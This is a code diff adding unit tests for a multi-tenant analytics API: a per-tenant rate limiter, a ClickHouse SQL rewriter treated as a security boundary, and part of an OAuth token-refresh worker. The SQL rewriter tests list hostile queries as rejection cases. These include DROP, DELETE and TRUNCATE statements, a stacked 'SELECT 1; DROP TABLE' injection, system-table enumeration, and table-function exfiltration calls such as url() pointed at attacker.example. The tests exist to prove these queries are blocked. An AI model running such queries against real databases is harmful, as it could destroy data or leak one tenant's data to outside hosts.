+ assert decision.remaining == pytest.approx(9.0)
+ assert decision.capacity == 10.0
+ assert decision.retry_after_seconds == 0.0
+
+ @pytest.mark.asyncio
+ async def test_burst_drains_bucket(self) -> None:
+ # We can fire ``capacity`` requests in immediate succession and
+ # the bucket should report the residual on each call. The 10th
+ # request leaves remaining=0; an 11th would fail. We freeze time
+ # so the lazy refill doesn't add fractional tokens between
+ # acquires — without this the assertion against an exact
+ # remaining count is racy on slow CI.
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await _seed_bucket(limiter, tenant, at_time=1000.0)
+ for expected_remaining in range(9, -1, -1):
+ decision = await limiter.acquire(tenant)
+ assert decision.allowed is True
+ assert decision.remaining == pytest.approx(float(expected_remaining))
+
+ @pytest.mark.asyncio
+ async def test_request_after_burst_denied(self) -> None:
+ # Once the bucket hits zero, the next acquisition must fail
+ # *and* return a sensible Retry-After. Without it the client
+ # has no signal for how long to back off and will likely
+ # hammer us in a tight loop.
+ limiter = LakeRateLimiter(capacity=2.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ # Drain the bucket. We freeze time so the lazy refill doesn't
+ # add fractional tokens between acquires.
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await limiter.acquire(tenant)
+ await limiter.acquire(tenant)
+ decision = await limiter.acquire(tenant)
+
+ assert decision.allowed is False
+ assert decision.remaining == pytest.approx(0.0)
+ # 1 token short, refill rate 1/sec → 1 second wait. We assert
+ # approx because float-math tends to leave a few epsilons
+ # lying around even after we freeze the clock.
+ assert decision.retry_after_seconds == pytest.approx(1.0)
+
+ @pytest.mark.asyncio
+ async def test_zero_cost_rejected(self) -> None:
+ # A zero-cost acquire is meaningless: you either want to
+ # consume budget or you want to peek. The dedicated
+ # :meth:`peek` method is the right tool, and accepting cost=0
+ # in :meth:`acquire` would invite a subtle code path where a
+ # caller forgets to set cost and silently bypasses the
+ # limiter.
+ limiter = LakeRateLimiter()
+ with pytest.raises(ValueError, match="cost must be positive"):
+ await limiter.acquire(uuid4(), cost=0.0)
+
+ @pytest.mark.asyncio
+ async def test_negative_cost_rejected(self) -> None:
+ limiter = LakeRateLimiter()
+ with pytest.raises(ValueError, match="cost must be positive"):
+ await limiter.acquire(uuid4(), cost=-1.0)
+
+ @pytest.mark.asyncio
+ async def test_cost_exceeding_capacity_raises(self) -> None:
+ # A request asking for more than the bucket can ever hold is
+ # a programmer error, not a runtime denial. If we returned a
+ # plain "denied" the caller could loop forever and never
+ # succeed. We surface it as a hard exception.
+ limiter = LakeRateLimiter(capacity=10.0)
+ with pytest.raises(ValueError, match="exceeds bucket capacity"):
+ await limiter.acquire(uuid4(), cost=11.0)
+
+
+# ---------------------------------------------------------------------------
+# Tenant isolation
+# ---------------------------------------------------------------------------
+
+
+class TestTenantIsolation:
+ """One tenant draining their bucket must not affect others.
+
+ This is the property that distinguishes this limiter from a
+ cluster-wide rate limit. If isolation breaks, the limiter has
+ failed at its primary job.
+ """
+
+ @pytest.mark.asyncio
+ async def test_separate_tenants_have_separate_buckets(self) -> None:
+ limiter = LakeRateLimiter(capacity=2.0, refill_per_second=1.0)
+ tenant_a = uuid4()
+ tenant_b = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ # Drain A's bucket completely.
+ await limiter.acquire(tenant_a)
+ await limiter.acquire(tenant_a)
+ denied = await limiter.acquire(tenant_a)
+ assert denied.allowed is False
+
+ # B should still have a full bucket; A's misbehaviour must
+ # not bleed across.
+ allowed = await limiter.acquire(tenant_b)
+ assert allowed.allowed is True
+ assert allowed.remaining == pytest.approx(1.0)
+
+ @pytest.mark.asyncio
+ async def test_uuid_and_string_keys_are_equivalent(self) -> None:
+ # The endpoint passes ``UUID``; tests sometimes pass strings.
+ # The same tenant identifier in either form must hit the same
+ # bucket — otherwise an attacker could bypass their limit by
+ # alternating between uuid form and stringified form (we
+ # control both sides in practice, but defensive checks are
+ # cheap).
+ limiter = LakeRateLimiter(capacity=2.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await limiter.acquire(tenant)
+ await limiter.acquire(str(tenant))
+ decision = await limiter.acquire(tenant)
+
+ # Both forms drained the same bucket, so the third request
+ # must be denied.
+ assert decision.allowed is False
+
+
+# ---------------------------------------------------------------------------
+# Refill behaviour
+# ---------------------------------------------------------------------------
+
+
+class TestRefill:
+ """Lazy refill is the trickiest piece of the limiter.
+
+ We need to confirm: tokens accumulate over time, the bucket caps
+ at capacity (no infinite-burst credits for idle tenants), and the
+ last-refill timestamp advances monotonically.
+ """
+
+ @pytest.mark.asyncio
+ async def test_tokens_refill_after_wait(self) -> None:
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=2.0)
+ tenant = uuid4()
+
+ # Drain to zero at t=1000. Seed the bucket's clock first so
+ # the first ``_refill`` call sees ``elapsed=0`` instead of a
+ # bogus negative-then-clamped value.
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await _seed_bucket(limiter, tenant, at_time=1000.0)
+ for _ in range(10):
+ await limiter.acquire(tenant)
+
+ # 3 seconds later → 6 tokens refilled (2/sec * 3s).
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1003.0):
+ decision = await limiter.acquire(tenant, cost=5.0)
+ assert decision.allowed is True
+ # 6 refilled - 5 consumed = 1 left.
+ assert decision.remaining == pytest.approx(1.0)
+
+ @pytest.mark.asyncio
+ async def test_refill_caps_at_capacity(self) -> None:
+ # If a tenant goes silent for an hour the bucket should still
+ # only be ``capacity`` tokens, not ``elapsed * refill_rate``.
+ # This prevents a long-idle tenant from suddenly being able
+ # to fire thousands of queries in a burst.
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ # Drain to zero at t=1000.
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await _seed_bucket(limiter, tenant, at_time=1000.0)
+ for _ in range(10):
+ await limiter.acquire(tenant)
+
+ # 1 hour later — well past full refill.
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=4600.0):
+ decision = await limiter.peek(tenant)
+ # Capped at 10, not 3600.
+ assert decision.remaining == pytest.approx(10.0)
+
+ @pytest.mark.asyncio
+ async def test_refill_handles_clock_going_backwards(self) -> None:
+ # ``time.monotonic`` in CPython never goes backwards, but
+ # mocks can — and so can poorly-virtualised hosts. The
+ # ``elapsed = max(0.0, now - last)`` clamp in the
+ # implementation is the only line that prevents an
+ # accidental ``tokens -= negative`` from materialising free
+ # budget. Worth pinning down with a test.
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await _seed_bucket(limiter, tenant, at_time=1000.0)
+ await limiter.acquire(tenant) # 9 left.
+
+ # Pretend the clock jumped backwards — no token should be
+ # subtracted, no bonus refill should happen.
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=999.0):
+ decision = await limiter.peek(tenant)
+ assert decision.remaining == pytest.approx(9.0)
+
+
+# ---------------------------------------------------------------------------
+# RateLimitDecision presentation
+# ---------------------------------------------------------------------------
+
+
+class TestDecisionHeaders:
+ """Headers must be parseable by standard HTTP clients.
+
+ We use the ``X-RateLimit-*`` family because most operator
+ dashboards already speak it. Bugs in this layer are visible to
+ every API caller, so we exercise both the allowed and denied
+ code paths.
+ """
+
+ def test_allowed_decision_has_no_retry_after(self) -> None:
+ decision = RateLimitDecision(
+ allowed=True,
+ remaining=4.5,
+ capacity=10.0,
+ retry_after_seconds=0.0,
+ )
+ headers = decision.to_headers()
+ assert headers["X-RateLimit-Limit"] == "10"
+ # Remaining is floored, not rounded — we never want to lie
+ # *up* about budget.
+ assert headers["X-RateLimit-Remaining"] == "4"
+ assert "Retry-After" not in headers
+
+ def test_denied_decision_has_retry_after(self) -> None:
+ decision = RateLimitDecision(
+ allowed=False,
+ remaining=0.0,
+ capacity=10.0,
+ retry_after_seconds=2.3,
+ )
+ headers = decision.to_headers()
+ assert headers["Retry-After"] == "3" # ceil(2.3 + epsilon)
+
+ def test_retry_after_minimum_one_second(self) -> None:
+ # RFC 7231 §7.1.3 requires Retry-After to be a non-negative
+ # integer; we floor to 1 so a sub-second wait still gives
+ # the client *some* delay rather than a "retry now" loop.
+ decision = RateLimitDecision(
+ allowed=False,
+ remaining=0.0,
+ capacity=10.0,
+ retry_after_seconds=0.1,
+ )
+ headers = decision.to_headers()
+ assert headers["Retry-After"] == "1"
+
+ def test_remaining_clamped_at_zero(self) -> None:
+ # Floats can land at -1e-15 due to rounding; the header must
+ # be ``0`` not ``-1``. Negative remaining headers break some
+ # client SDKs that parse with ``unsigned int``.
+ decision = RateLimitDecision(
+ allowed=False,
+ remaining=-1e-12,
+ capacity=10.0,
+ retry_after_seconds=0.5,
+ )
+ assert decision.to_headers()["X-RateLimit-Remaining"] == "0"
+
+
+# ---------------------------------------------------------------------------
+# Cost-weighted acquisition
+# ---------------------------------------------------------------------------
+
+
+class TestCostedAcquire:
+ """Variable cost lets the endpoint price work-not-requests."""
+
+ @pytest.mark.asyncio
+ async def test_costed_acquire_consumes_proportionally(self) -> None:
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ decision = await limiter.acquire(tenant, cost=3.5)
+ assert decision.allowed is True
+ assert decision.remaining == pytest.approx(6.5)
+
+ @pytest.mark.asyncio
+ async def test_partial_balance_with_high_cost_denied(self) -> None:
+ # Bucket has 5 tokens but caller wants 8; this must be
+ # denied with a Retry-After computed from the shortfall.
+ limiter = LakeRateLimiter(capacity=10.0, refill_per_second=1.0)
+ tenant = uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await limiter.acquire(tenant, cost=5.0) # 5 left.
+ decision = await limiter.acquire(tenant, cost=8.0)
+
+ assert decision.allowed is False
+ # Shortfall = 3 tokens; refill 1/sec → 3 seconds wait.
+ assert decision.retry_after_seconds == pytest.approx(3.0)
+
+
+# ---------------------------------------------------------------------------
+# Reset semantics
+# ---------------------------------------------------------------------------
+
+
+class TestReset:
+ """Reset is used by tests and operator emergency procedures."""
+
+ @pytest.mark.asyncio
+ async def test_targeted_reset_only_clears_named_tenant(self) -> None:
+ limiter = LakeRateLimiter(capacity=2.0, refill_per_second=1.0)
+ tenant_a, tenant_b = uuid4(), uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await limiter.acquire(tenant_a)
+ await limiter.acquire(tenant_a)
+ await limiter.acquire(tenant_b)
+
+ await limiter.reset(tenant_a)
+
+ # A is fresh — full bucket again.
+ decision_a = await limiter.peek(tenant_a)
+ assert decision_a.remaining == pytest.approx(2.0)
+
+ # B is untouched — still 1 token left.
+ decision_b = await limiter.peek(tenant_b)
+ assert decision_b.remaining == pytest.approx(1.0)
+
+ @pytest.mark.asyncio
+ async def test_global_reset_clears_everything(self) -> None:
+ limiter = LakeRateLimiter(capacity=2.0, refill_per_second=1.0)
+ tenant_a, tenant_b = uuid4(), uuid4()
+
+ with patch("app.services.lake_rate_limit.time.monotonic", return_value=1000.0):
+ await limiter.acquire(tenant_a)
+ await limiter.acquire(tenant_b)
+ await limiter.reset()
+
+ assert (await limiter.peek(tenant_a)).remaining == pytest.approx(2.0)
+ assert (await limiter.peek(tenant_b)).remaining == pytest.approx(2.0)
+
+
+# ---------------------------------------------------------------------------
+# Defaults
+# ---------------------------------------------------------------------------
+
+
+class TestDefaults:
+ """Sanity checks on the module-level defaults.
+
+ The default capacity (60) and refill rate (1/sec) are tuned for
+ "human pokes around the lake for a couple minutes without
+ thinking about it". If we change those defaults, downstream
+ operator runbooks need to be updated; pinning them in a test
+ forces a deliberate decision.
+ """
+
+ def test_default_capacity_is_sixty(self) -> None:
+ assert DEFAULT_CAPACITY == 60.0
+
+ def test_default_refill_is_one_per_second(self) -> None:
+ assert DEFAULT_REFILL_PER_SECOND == 1.0
diff --git a/services/api/tests/test_lake_sql.py b/services/api/tests/test_lake_sql.py
new file mode 100644
index 000000000..5e1000f98
--- /dev/null
+++ b/services/api/tests/test_lake_sql.py
@@ -0,0 +1,415 @@
+"""Unit tests for :mod:`app.services.lake_sql` (Workstream 7).
+
+The SQL rewriter is the security boundary between untrusted callers and
+ClickHouse. These tests are the authoritative behavioural spec — every
+change in the rewriter must keep these green and ideally extend them.
+
+The threat model we encode here:
+
+* SELECT-only. DML/DDL is rejected as ``LakeSqlForbiddenError``.
+* Single statement only. ``SELECT 1; DROP TABLE x`` is rejected.
+* Allowlist on tables. References to ``system.tables``, raw operator
+ tables in Postgres, or "anything not in ALLOWED_TABLES" are rejected.
+* No ClickHouse table-valued functions. ``url()``, ``s3()``, ``file()``,
+ ``remote()``, ``mysql()``, ``postgresql()`` are exfiltration vectors.
+* ``tenant_id`` predicate is injected on *every* SELECT in the tree —
+ top-level, joins, subqueries, and CTE bodies — so a bare CTE or
+ IN (SELECT …) cannot leak data.
+* ``LIMIT`` is clamped to ``DEFAULT_ROW_CAP`` (or the caller-supplied
+ ``row_cap``, capped at ``MAX_ROW_CAP``).
+
+Tests deliberately avoid the database — the rewriter is a pure function
+over a SQL string + tenant UUID. That keeps these tests millisecond-fast
+and lets them run on every change without a Postgres or ClickHouse
+container.
+"""
+
+from __future__ import annotations
+
+import re
+import uuid
+
+import pytest
+from app.services.lake_sql import (
+ ALLOWED_TABLES,
+ DEFAULT_ROW_CAP,
+ DEFAULT_SCHEMA,
+ MAX_ROW_CAP,
+ LakeSqlForbiddenError,
+ LakeSqlSyntaxError,
+ rewrite_for_tenant,
+)
+
+
+# A stable tenant UUID we can grep for in the rewritten SQL. Picked once
+# at import time so every test in the module gets the same value, which
+# makes assertion failures easier to read.
+TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000abc")
+
+
+def _count_predicates(sql: str, tenant_id: uuid.UUID) -> int:
+ """Count occurrences of ``tenant_id = '<uuid>'`` in ``sql``.
+
+ sqlglot may render the predicate with a table alias prefix
+ (e.g. ``r.tenant_id = '...'``) so we match both the bare and the
+ qualified form via regex.
+ """
+ pattern = rf"(?:\w+\.)?tenant_id\s*=\s*'{tenant_id}'"
+ return len(re.findall(pattern, sql, flags=re.IGNORECASE))
+
+
+# ============================================================================
+# Forbidden roots
+# ============================================================================
+
+
+ "sql",
+ [
+ "INSERT INTO aisoc.raw_events (tenant_id) VALUES ('x')",
+ "UPDATE aisoc.raw_events SET tenant_id = 'x' WHERE 1=1",
+ "DELETE FROM aisoc.raw_events",
+ "DROP TABLE aisoc.raw_events",
+ "CREATE TABLE evil (x Int32)",
+ "ALTER TABLE aisoc.raw_events ADD COLUMN evil Int32",
+ "TRUNCATE TABLE aisoc.raw_events",
+ ],
+)
+def test_dml_ddl_rejected_with_forbidden_error(sql: str) -> None:
+ """DML/DDL must be rejected as *forbidden*, not as syntax errors.
+
+ The endpoint maps ``LakeSqlForbiddenError`` to HTTP 403 (auth) and
+ ``LakeSqlSyntaxError`` to HTTP 400 (parse). Misclassifying a DROP
+ as a syntax error would let it look like a typo in client UIs.
+ """
+ with pytest.raises(LakeSqlForbiddenError):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+ "sql",
+ [
+ # ClickHouse SYSTEM / OPTIMIZE / KILL — parsed as Command/Kill
+ # nodes by sqlglot. These can move data, kill queries, or read
+ # engine internals; none of which belong on the lake API. We
+ # use a *parseable* KILL form here — the malformed ``KILL QUERY
+ # WHERE …`` shape would surface as a 400 syntax error instead,
+ # which is also fine but tested separately under the syntax
+ # error suite.
+ "SYSTEM RELOAD CONFIG",
+ "OPTIMIZE TABLE aisoc.raw_events",
+ "KILL QUERY 'long-running-query-id'",
+ ],
+)
+def test_clickhouse_admin_commands_rejected(sql: str) -> None:
+ with pytest.raises(LakeSqlForbiddenError):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+def test_multiple_statements_rejected() -> None:
+ """``SELECT 1; DROP TABLE x`` must die at the boundary.
+
+ The first statement on its own would parse fine; we explicitly
+ detect the second statement and refuse the whole request.
+ """
+ sql = "SELECT 1; DROP TABLE aisoc.raw_events"
+ with pytest.raises(LakeSqlForbiddenError, match="single statement"):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+# ============================================================================
+# Syntax errors
+# ============================================================================
+
+
+ "sql",
+ [
+ "",
+ " ",
+ ";",
+ "SELECT", # incomplete
+ "this is not sql", # garbage tokens
+ ],
+)
+def test_garbage_input_raises_syntax_error(sql: str) -> None:
+ """Parser-level garbage gets a 400 mapping (LakeSqlSyntaxError).
+
+ These are user typos, not auth violations, so they must be cleanly
+ distinguishable from forbidden-class errors.
+ """
+ with pytest.raises(LakeSqlSyntaxError):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+def test_select_with_no_from_passes_through_unchanged() -> None:
+ """``SELECT 1`` is allowed; it touches no tenant data.
+
+ There's no ``FROM`` to inject a predicate against, but the
+ rewriter must not refuse — operators sometimes use the lake to
+ sanity-check ClickHouse expression evaluation.
+ """
+ result = rewrite_for_tenant("SELECT 1 AS hello", TENANT_ID)
+ assert "tenant_id" not in result.sql.lower()
+ # No tables touched.
+ assert result.referenced_tables == frozenset()
+
+
+# ============================================================================
+# Allowlist enforcement
+# ============================================================================
+
+
+def test_qualified_allowlisted_table_accepted() -> None:
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events", TENANT_ID
+ )
+ assert "aisoc.raw_events" in result.referenced_tables
+ assert _count_predicates(result.sql, TENANT_ID) == 1
+
+
+def test_unqualified_allowlisted_table_accepted_and_qualified() -> None:
+ """``FROM raw_events`` resolves to ``aisoc.raw_events``.
+
+ The rewriter backfills the schema so the ClickHouse session
+ database doesn't influence which physical table we hit.
+ """
+ result = rewrite_for_tenant("SELECT * FROM raw_events", TENANT_ID)
+ assert f"{DEFAULT_SCHEMA}.raw_events" in result.sql.lower()
+ assert "aisoc.raw_events" in result.referenced_tables
+
+
+ "sql",
+ [
+ # Postgres tables that happen to share names with our lake.
+ "SELECT * FROM aisoc.users",
+ # ClickHouse system tables — useful for an attacker to enumerate
+ # schemas, tables, parts, and ongoing queries from other tenants.
+ "SELECT * FROM system.tables",
+ "SELECT * FROM system.processes",
+ "SELECT * FROM system.parts",
+ # Wrong schema entirely.
+ "SELECT * FROM other_db.raw_events",
+ ],
+)
+def test_non_allowlisted_tables_rejected(sql: str) -> None:
+ with pytest.raises(LakeSqlForbiddenError, match="allowlist"):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+ "sql",
+ [
+ # url() — straight exfiltration. Picks up any URL the worker
+ # can resolve, including the metadata endpoint on most clouds.
+ "SELECT * FROM url('https://attacker.example/x', JSONEachRow, 'tenant_id String')",
+ # remote() — read another ClickHouse cluster, possibly inside
+ # the operator's VPC.
+ "SELECT * FROM remote('other-host', 'aisoc', 'raw_events')",
+ # s3() / file() / mysql() / postgresql() — same family.
+ "SELECT * FROM s3('s3://bucket/key', 'CSV')",
+ "SELECT * FROM file('/tmp/x', 'CSV')",
+ "SELECT * FROM mysql('host', 'db', 'tbl', 'user', 'pw')",
+ "SELECT * FROM postgresql('host', 'db', 'tbl', 'user', 'pw')",
+ ],
+)
+def test_table_functions_rejected(sql: str) -> None:
+ """ClickHouse table-valued functions are exfiltration vectors.
+
+ Even if our rewriter somehow injected a tenant predicate, a
+ ``url(...)`` table doesn't carry tenant data — it's a
+ server-side HTTP fetch with the operator's network identity.
+ """
+ with pytest.raises(LakeSqlForbiddenError):
+ rewrite_for_tenant(sql, TENANT_ID)
+
+
+# ============================================================================
+# Tenant predicate injection
+# ============================================================================
+
+
+def test_predicate_injected_on_simple_select() -> None:
+ result = rewrite_for_tenant(
+ "SELECT id FROM aisoc.raw_events", TENANT_ID
+ )
+ assert _count_predicates(result.sql, TENANT_ID) == 1
+
+
+def test_predicate_appended_alongside_existing_where() -> None:
+ """Existing WHERE clauses are preserved; we AND-in our predicate.
+
+ A common audit pattern: an analyst's existing filter on
+ ``severity = 'high'`` must still be honoured after rewriting.
+ """
+ result = rewrite_for_tenant(
+ "SELECT id FROM aisoc.raw_events WHERE severity = 'high'",
+ TENANT_ID,
+ )
+ sql_lower = result.sql.lower()
+ assert "severity" in sql_lower
+ assert _count_predicates(result.sql, TENANT_ID) == 1
+
+
+def test_predicate_injected_on_each_join_side() -> None:
+ """Joins must filter both sides on tenant_id.
+
+ A naive single-table predicate would let an attacker join into a
+ second tenant's rows on a non-tenant column (e.g. ``ON r.host =
+ a.host``) and read them through the join. The rewriter prevents
+ that by injecting per-table predicates when there are aliases.
+ """
+ sql = """
+ SELECT r.id
+ FROM aisoc.raw_events r
+ JOIN aisoc.alert_metrics a ON a.event_id = r.id
+ """
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ # Two real tables → at least two predicates (one per alias).
+ assert _count_predicates(result.sql, TENANT_ID) >= 2
+ assert "aisoc.raw_events" in result.referenced_tables
+ assert "aisoc.alert_metrics" in result.referenced_tables
+
+
+def test_predicate_injected_on_subquery() -> None:
+ """A subquery in a WHERE/IN clause must also be tenant-scoped.
+
+ Without this, an analyst could write ``WHERE id IN (SELECT id FROM
+ raw_events)`` and the outer query would silently see other
+ tenants' data via the inner.
+ """
+ sql = """
+ SELECT id FROM aisoc.alert_metrics
+ WHERE event_id IN (SELECT id FROM aisoc.raw_events)
+ """
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ # Outer + inner SELECTs each pick up a predicate.
+ assert _count_predicates(result.sql, TENANT_ID) >= 2
+
+
+def test_predicate_injected_on_cte_body() -> None:
+ """CTE bodies are SELECTs and must carry the predicate.
+
+ The reference *to* a CTE alias from outside doesn't need a
+ predicate (the body already had one), but the body itself must.
+ """
+ sql = """
+ WITH highs AS (
+ SELECT id FROM aisoc.raw_events WHERE severity = 'high'
+ )
+ SELECT * FROM highs
+ """
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ # Predicate appears at least once — inside the CTE body. The
+ # outer ``SELECT * FROM highs`` references an alias not a real
+ # table, so it doesn't add a second predicate.
+ assert _count_predicates(result.sql, TENANT_ID) >= 1
+
+
+def test_cte_alias_not_treated_as_real_table() -> None:
+ """A CTE alias must not be mistaken for a non-allowlisted table.
+
+ Without alias awareness the rewriter would reject ``FROM highs``
+ because ``aisoc.highs`` isn't in the allowlist.
+ """
+ sql = """
+ WITH highs AS (SELECT id FROM aisoc.raw_events)
+ SELECT * FROM highs
+ """
+ # Just running this without an exception is the assertion.
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ # And we must not record ``aisoc.highs`` as a referenced table.
+ assert "aisoc.highs" not in result.referenced_tables
+
+
+def test_union_branches_each_get_predicate() -> None:
+ """UNION must filter each branch independently."""
+ sql = """
+ SELECT id FROM aisoc.raw_events
+ UNION ALL
+ SELECT id FROM aisoc.alert_metrics
+ """
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ assert _count_predicates(result.sql, TENANT_ID) >= 2
+
+
+# ============================================================================
+# LIMIT clamping
+# ============================================================================
+
+
+def test_default_row_cap_applied_when_no_limit() -> None:
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events", TENANT_ID
+ )
+ assert result.row_cap == DEFAULT_ROW_CAP
+ assert f"limit {DEFAULT_ROW_CAP}" in result.sql.lower()
+
+
+def test_caller_smaller_limit_preserved() -> None:
+ """If the caller asked for fewer rows than the cap, keep theirs.
+
+ The cap exists to prevent runaway queries, not to expand them.
+ """
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events LIMIT 5", TENANT_ID
+ )
+ # The clamp leaves the LIMIT alone.
+ assert "limit 5" in result.sql.lower()
+ # ``row_cap`` reflects the configured cap (the LIMIT is below it).
+ assert result.row_cap == DEFAULT_ROW_CAP
+
+
+def test_caller_larger_limit_clamped_to_default() -> None:
+ """A naked ``LIMIT 1000000`` must be clamped to the default cap."""
+ sql = "SELECT * FROM aisoc.raw_events LIMIT 1000000"
+ result = rewrite_for_tenant(sql, TENANT_ID)
+ assert result.row_cap == DEFAULT_ROW_CAP
+ assert f"limit {DEFAULT_ROW_CAP}" in result.sql.lower()
+
+
+def test_explicit_row_cap_respected() -> None:
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events", TENANT_ID, row_cap=50
+ )
+ assert result.row_cap == 50
+ assert "limit 50" in result.sql.lower()
+
+
+def test_row_cap_clamped_to_max() -> None:
+ """A caller-supplied cap above MAX_ROW_CAP is reduced."""
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events",
+ TENANT_ID,
+ row_cap=MAX_ROW_CAP * 10,
+ )
+ assert result.row_cap == MAX_ROW_CAP
+
+
+def test_row_cap_clamped_to_minimum() -> None:
+ """A zero or negative cap is coerced to 1."""
+ result = rewrite_for_tenant(
+ "SELECT * FROM aisoc.raw_events",
+ TENANT_ID,
+ row_cap=0,
+ )
+ assert result.row_cap == 1
+
+
+# ============================================================================
+# Allowlist tables roster
+# ============================================================================
+
+
+def test_allowed_tables_constant_matches_clickhouse_schema() -> None:
+ """Every entry in ALLOWED_TABLES must look like ``aisoc.<name>``.
+
+ This is a smoke test against typos: if someone added
+ ``"raw_events"`` (no schema) we'd silently default-qualify it
+ in code but the constant itself would lie.
+ """
+ for name in ALLOWED_TABLES:
+ assert "." in name, f"unqualified table in allowlist: {name}"
+ schema, _ = name.split(".", 1)
+ assert schema == DEFAULT_SCHEMA, f"unexpected schema: {schema}"
diff --git a/services/api/tests/test_oauth_refresh_worker.py b/services/api/tests/test_oauth_refresh_worker.py
new file mode 100644
index 000000000..f6d6d07dd
--- /dev/null
+++ b/services/api/tests/test_oauth_refresh_worker.py
@@ -0,0 +1,533 @@
+"""Unit tests for the OAuth refresh worker (Workstream 5).
+
+These tests focus on the *pure* helpers and the per-connector refresh
+state machine. The DB session is mocked because we don't want to spin
+up Postgres for unit-scope coverage — the SQL itself is exercised by
+the connector endpoint integration tests.
+
+Coverage map:
+
+* ``_parse_expires_at`` — ISO-8601 parsing, ``Z`` suffix, fallback
+* ``_resolve_token_url`` — per-tenant override vs. catalog hint
+* ``_record_failure`` — counter increments, alarm threshold trip
+* ``_refresh_one`` happy path — success rotates token, resets counter
+* ``_refresh_one`` 4xx — failure increments + flips unhealthy
+* ``_refresh_one`` 5xx — failure increments without alarm yet
+* ``_refresh_one`` no-app-cred — silent failure, no token POST
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime, timedelta
+from typing import Any
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import httpx
+import pytest
+from app.security.credential_vault import CredentialVault
+from app.workers import oauth_refresh as worker
+from cryptography.fernet import Fernet
+
+
+# --------------------------------------------------------------- helpers
+
+class _FakeConnector:
+ """Minimal stand-in for the SQLAlchemy ``Connector`` model.
+
+ We don't need an attached session — ``_refresh_one`` only reads
+ attributes and emits ``UPDATE`` statements through the (mocked)
+ session. Using a plain Python object keeps tests fast and isolated
+ from ORM machinery.
+ """
+
+ def __init__(
+ self,
+ *,
+ auth_config: dict[str, Any] | None = None,
+ oauth_refresh_failures: int = 0,
+ health_status: str = "healthy",
+ connector_type: str = "github",
+ ) -> None:
+ self.id = uuid.uuid4()
+ self.tenant_id = uuid.uuid4()
+ self.connector_type = connector_type
+ self.auth_config = auth_config or {}
+ self.oauth_refresh_failures = oauth_refresh_failures
+ self.health_status = health_status
+
+
+class _FakeAppCredential:
+ def __init__(
+ self,
+ *,
+ client_id: str = "client-id-123",
+ client_secret_vault: str = "client-secret-encrypted",
+ token_url: str | None = "https://provider.example.com/oauth/token",
+ ) -> None:
+ self.client_id = client_id
+ self.client_secret_vault = client_secret_vault
+ self.token_url = token_url
+
+
+def _build_vault() -> CredentialVault:
+ """Hermetic vault for tests — never touches process settings."""
+ return CredentialVault(Fernet.generate_key())
+
+
+def _mock_db(
+ *, app_credential: Any = None, scalars_seq: list[Any] | None = None
+) -> AsyncMock:
+ """Build an ``AsyncSession``-shaped mock.
+
+ ``execute`` is an ``AsyncMock`` whose awaited return is a *plain*
+ ``MagicMock`` (so ``scalar_one_or_none`` and ``scalars`` stay sync —
+ they're sync in real SQLAlchemy ``Result`` objects too).
+
+ ``app_credential`` controls what ``scalar_one_or_none`` returns; if
+ ``scalars_seq`` is given, ``scalars().all()`` returns it in order
+ (used by ``_select_due_connectors`` tests).
+ """
+ db = AsyncMock()
+ result = MagicMock()
+ result.scalar_one_or_none.return_value = app_credential
+ if scalars_seq is not None:
+ scalars_mock = MagicMock()
+ scalars_mock.all.return_value = scalars_seq
+ result.scalars.return_value = scalars_mock
+ db.execute = AsyncMock(return_value=result)
+ db.commit = AsyncMock()
+ return db
+
+
+# ------------------------------------------------------- _parse_expires_at
+
+
+def test_parse_expires_at_iso_with_offset() -> None:
+ parsed = worker._parse_expires_at("2026-01-01T00:00:00+00:00")
+ assert parsed == datetime(2026, 1, 1, tzinfo=UTC)
+
+
+def test_parse_expires_at_iso_with_z_suffix() -> None:
+ """Some providers (GitHub) emit ``Z`` instead of ``+00:00``."""
+ parsed = worker._parse_expires_at("2026-01-01T00:00:00Z")
+ assert parsed == datetime(2026, 1, 1, tzinfo=UTC)
+
+
+def test_parse_expires_at_naive_assumes_utc() -> None:
+ """Naive timestamps shouldn't poison comparisons against ``now(UTC)``."""
+ parsed = worker._parse_expires_at("2026-01-01T00:00:00")
+ assert parsed is not None
+ assert parsed.tzinfo is not None
